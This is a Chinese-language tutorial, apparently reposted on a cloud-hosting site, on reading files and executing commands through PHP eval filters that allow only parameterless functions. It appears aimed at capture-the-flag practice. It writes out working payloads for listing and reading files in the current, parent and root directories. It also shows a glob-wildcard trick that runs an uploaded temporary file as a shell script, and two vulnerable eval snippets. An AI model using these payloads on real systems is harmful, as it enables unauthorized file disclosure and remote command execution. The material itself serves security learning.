91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何理解php rce中無參數讀文件

發布時間:2021-10-18 10:56:48 來源:億速云 閱讀:178 作者:柒染 欄目:網絡管理

如何理解php rce中無參數讀文件,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

一、什么是無參數?

就是使用函數的時候不能帶有參數。

可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能帶參數

所以我們要使用無參數的函數進行文件讀取或者命令執行。

二、無參數文件讀取

  1. 查看當前目錄文件名

    通常,可以使用 print_r(scandir('.'))查看當前目錄下所有文件,以數組的形式輸出。

    如何理解php rce中無參數讀文件

但是要怎么構造參數里這個點呢。

  • localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。而數組第一項就是 .

    https://www.w3school.com.cn/php/func_string_localeconv.asp

如何理解php rce中無參數讀文件

  • current() 返回數組中的單元,默認第一個值。

    所以我們輸出 print_r(scandir(current(localeconv())));也會如同 print_r(scandir('.'))打印當前目錄下文件名。

  • 使用 print_r(scandir(pos(localeconv())));,pos是current的別名

  • reset()函數將內部指針指向數組中的第一個元素,并輸出。

    相關的方法:

    如何理解php rce中無參數讀文件

    所以我們現在要構造 reset()的參數。

    chr(46)就是字符 ..所以我們需要構造 46 .

    chr(rand())    # 需要看運氣。。。不現實
    char(time())
    char(current(localtime(time())))
    • [tm_sec] - 秒數

    • [tm_min] - 分鐘數

    • [tm_hour] - 小時

    • [tm_mday] - 月份中的第幾天

    • [tm_mon] - 年份中的第幾個月,從 0 開始表示一月份

    • [tm_year] - 年份,從 1900 開始

    • [tm_wday] - 星期中的第幾天 (Sunday=0)

    • [tm_yday] - 年中的第幾天

    • [tm_isdst] - 夏令時當前是否生效

    • chr(time())

      chr() 函數以256為一個周期,所以 chr(46)chr(302)chr(558)等都等于 .

      所以使用chr(time()) 一個周期必能出現一次。

    • chr(current(localtime(time())))

      localtime()以數值數組和關聯數組的形式輸出本地時間:

      關聯數組的鍵名如下:

      數組第一個值每秒加 1 ,所以最多 60 秒之內就可以得到 46 .然后用 current()函數即可獲得 第一位鍵值。再利用 chr() 函數就可以完美獲得 .

    • current()- 返回數組中的當前元素的值

    • end()- 將內部指針指向數組中的最后一個元素,并輸出

    • next()- 將內部指針指向數組中的下一個元素,并輸出

    • prev()- 將內部指針指向數組中的上一個元素,并輸出

    • each()- 返回當前元素的鍵名和鍵值,并將內部指針向前移動

  • phpversion()返回 PHP 版本,例如 5.4.45

    floor(phpversion()) 返回 5

    sqrt(floor(phpversion())) 返回 2.2360679774998

    tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

    cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

    sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

    ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

    如何理解php rce中無參數讀文件

  • crypt()返回使用 DES、Blowfish 或 MD5 算法加密的字符串。

    hebrevc() 函數把希伯來文本從右至左的流轉換為左至右的流。同時,把新行(\n)轉換為

    hebrevc(crypt(arg))可以隨機生成一個hash值,第一個字符隨機是$(大概率) 或者 "."(小概率) 然后通過chr(ord())只取第一個字符/

    ord()返回字符串中第一個字符的Ascii

    print_r(scandir(chr(ord(hebrevc(crypt(time()))))));多試幾次。

    如何理解php rce中無參數讀文件

  • strrev(crypt(serialize(array())))也可以得到".",只不過crypt(serialize(array()))的點出現在最后一個字符,需要使用strrev()逆序,然后使用chr(ord())獲取第一個字符.

    如何理解php rce中無參數讀文件

    print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
  • 絕對路徑

    正常的,我們還可以用print_r(scandir('絕對路徑'));來查看當前目錄文件名。

    獲取絕對路徑可用的有getcwd()realpath('.')

    如何理解php rce中無參數讀文件

    所以我們還可以用print_r(scandir(getcwd()));輸出當前文件夾所有文件名.

    如何理解php rce中無參數讀文件

    讀取當前目錄文件

    通過前面的方法輸出了當前目錄文件名,如果文件不能直接顯示,比如PHP源碼,我們還需要使用函數讀取:

    前面的方法輸出的是數組,文件名是數組的值,那我們要怎么取出想要讀取文件的數組呢:

    如果要獲取最后一個文件內容,我們可以:

    show_source(end(scandir(getcwd())));
    # 或者使用其他函數
    readfile
    highlight_file
    file_get_contents
    readgzfile()    # 也可讀文件,常用于繞過過濾

    報錯 Strict Standards: Only variables should be passed by reference in原因:PHP5.3以上默認只能傳遞具體的變量,而不能通過函數返回值傳遞,沒有關系不影響我們讀文件。

    array_reverse() 以相反的元素順序返回數組

    本來在最后一位的文件可以反過來放第一位讀取。

    show_source(current(array_reverse(scandir(getcwd()))));

    如果是倒數第二個我們可以用:

    readfile(next(array_reverse(scandir(getcwd()))));

    我想著還可以繼續用 next()結果不行。

    那么如何讀取其他文件

    我們可以使用array_rand(array_flip()),array_flip()是交換數組的鍵和值,array_rand()是隨機返回一個數組。

    readfile(array_rand(array_flip(scandir(getcwd()))));
    readfile(array_rand(array_flip(scandir(current(localeconve())))));


    如何理解php rce中無參數讀文件

    如果目標文件不在當前目錄呢?

    • dirname() :返回路徑中的目錄部分,

      如何理解php rce中無參數讀文件

      從圖中可以看出,如果傳入的值是絕對路徑(不包含文件名),則返回的是上一層路徑,傳入的是文件名絕對路徑則返回文件的當前路徑

    • chdir() :改變當前工作目錄

      print_r(scandir(dirname(getcwd()))); //查看上一級目錄的文件
    • 構造".."

      print_r(next(scandir(getcwd())));:我們scandir(getcwd())出現的數組第二個就是"..",所以可以用next()獲取

      print_r(scandir(next(scandir(getcwd()))));//也可查看上級目錄文件

      結合上文的一些構造都是可以獲得".."的 :

      next(scandir(chr(ord(hebrevc(crypt(time()))))))
    • 讀取上級目錄文件

      直接 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,會報錯,因為默認是在當前工作目錄尋找并讀取這個文件,而這個文件在上一層目錄,所以要先改變當前工作目錄,前面寫到了chdir(),使用:

      show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

      如果不能使用dirname(),可以使用構造".."的方式切換路徑并讀取:

      但是這里切換路徑后getcwd()和localeconv()不能接收參數,因為語法不允許,我們可以用之前的hebrevc(crypt(arg))

      show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
      或更復雜的:
      show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
      還可以用:
      show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//這個得爆破,不然手動要刷新很久,如果文件是正數或倒數第一個第二個最好不過了,直接定位

      還有:

      if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
    • 查看和讀取根目錄文件

      print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

      strrev(crypt(serialize(array())))所獲得的字符串第一位有幾率是/,所以使用以上payload可以查看根目錄文件.

      但是有權限限制,linux系統下需要一定的權限才能讀到,所以不一定成功.

      if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
      
      if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));
    • array_flip() 函數用于反轉/交換數組中的鍵名和對應關聯的鍵值。

    • array_rand() 函數返回數組中的隨機鍵名,或者如果您規定函數返回不只一個鍵名,則返回包含隨機鍵名的數組。

    • end()- 將數組的內部指針指向最后一個單元

    • key()- 從關聯數組中取得鍵名

    • each()- 返回數組中當前的鍵/值對并將數組指針向前移動一步

    • prev()- 將數組的內部指針倒回一位

    • reset()- 將數組的內部指針指向第一個單元

    • next()- 將數組中的內部指針向前移動一位

利用通配符臨時文件
<?php
if(isset($_GET['code'])){
  $code=$_GET['code'];
  if(strlen($code)>35){
      die("Long.");
  }
  if(preg_match("/[A-Za-z0-9_$]+/",$code)){
      die("NO.");
  }
  eval($code);
}else{
  highlight_file(__FILE__);
}

因為$不能使用了,所以我們無法構造PHP中的變量。

如何利用無字母、數字、$的系統命令來getshell?

  1. shell下可以利用.來執行任意腳本

  2. Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一樣,就是用當前的shell執行一個文件中的命令。比如,當前運行的shell是bash,則. file的意思就是用bash執行file文件中的命令。

. file執行文件,是不需要file有x權限的。那么,如果目標服務器上有一個我們可控的文件,那不就可以利用.來執行它了嗎?

這個文件也很好得到,我們可以發送一個上傳文件的POST包,此時PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機的大小寫字母。

第二個難題接踵而至,執行. /tmp/phpXXXXXX,也是有字母的。此時就可以用到Linux下的glob通配符:

  • *可以代替0個及以上任意字符

  • ?可以代表1個任意字符

那么,/tmp/phpXXXXXX就可以表示為/*/?????????/???/?????????

能夠匹配上/???/?????????這個通配符的文件有很多.

大部分同學對于通配符,可能知道的都只有*?.

其中,glob支持用[^x]的方法來構造“這個位置不是字符x”。那么,我們用這個姿勢干掉一些干擾選項。

就跟正則表達式類似,glob支持利用[0-9]來表示一個范圍。

所有文件名都是小寫,只有PHP生成的臨時文件包含大寫字母。那么答案就呼之欲出了,我們只要找到一個可以表示“大寫字母”的glob通配符,就能精準找到我們要執行的文件。

翻開ascii碼表,可見大寫字母位于@[之間:

如何理解php rce中無參數讀文件

那么,我們可以利用[@-[]來表示大寫字母:

構造 poc ,執行任意命令。

當然,php生成臨時文件名是隨機的,最后一個字符不一定是大寫字母,不過多嘗試幾次也就行了。

最后,我傳入的code為?c=. /???/????????[@-[],發送數據包如下:

#!/bin/sh

ls

如何理解php rce中無參數讀文件

三、無參數命令執行(RCE)

我們可以使用無參數函數任意讀文件,也可以執行命令。

  <?php
  if(';'===preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
      eval($_GET['code']);
  } else{
      show_source(__FILE__);
  }

我們傳入一個參數,然后經過正則替換后剩余 分號 ;方可執行我們的payload.

代碼非常清晰,首先

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

代碼會將$_GET['code']中滿足正則/\W+((?R)?)/的部分,替換為空,然后查看是否剩下的部分強等于;如果滿足,則執行

eval($_GET['code']);

否則什么都不做。那么思路很明確,我們弄清楚正則即可進行RCE

[^\W]+\((?R)?\)

首先是[^\W]對于\W,其意思等價于[^A-Za-z0-9_]。那么我們知道,我們的input必須以此開頭然后是括號匹配

\( ...... \)

括號中間為

(?R)?

意思為重復整個模式簡單理解,我們可以輸入以下類型

a(b(c()))

但我們不能加參數,否則將無法匹配,正則替換掉其他之后,甚于的不是只有分號,所以不強等于 左邊的;

a(c,d)

所以正則看完,題目的意思非常明確了:我們只能input函數,但函數中不能使用參數,否則判斷句右邊經過替換,將不止剩余分號;。

既然傳入的code值不能含有參數,那我們可不可以把參數放在別的地方,code用無參數函數來接收參數呢?這樣就可以打破無參數函數的限制:

3.1 getenv()

查閱php手冊,有非常多的超全局變量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

我們可以使用$_ENV,對應函數為getenv()

  • getenv — 獲取一個環境變量的值

首先想到headers,因為headers我們用戶可控,于是在PHP手冊中搜索:headers。

看完上述內容,你們掌握如何理解php rce中無參數讀文件的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

正宁县| 苗栗县| 稷山县| 含山县| 炎陵县| 潜江市| 武平县| 调兵山市| 四子王旗| 饶阳县| 裕民县| 潞西市| 济源市| 伊宁市| 东阳市| 平江县| 盐池县| 朝阳县| 恩平市| 水富县| 镇安县| 关岭| 杂多县| 石楼县| 三穗县| 和田市| 白山市| 青田县| 稷山县| 泾川县| 尉氏县| 集贤县| 绿春县| 兴安县| 大名县| 双桥区| 金山区| 白玉县| 望奎县| 洞口县| 五峰|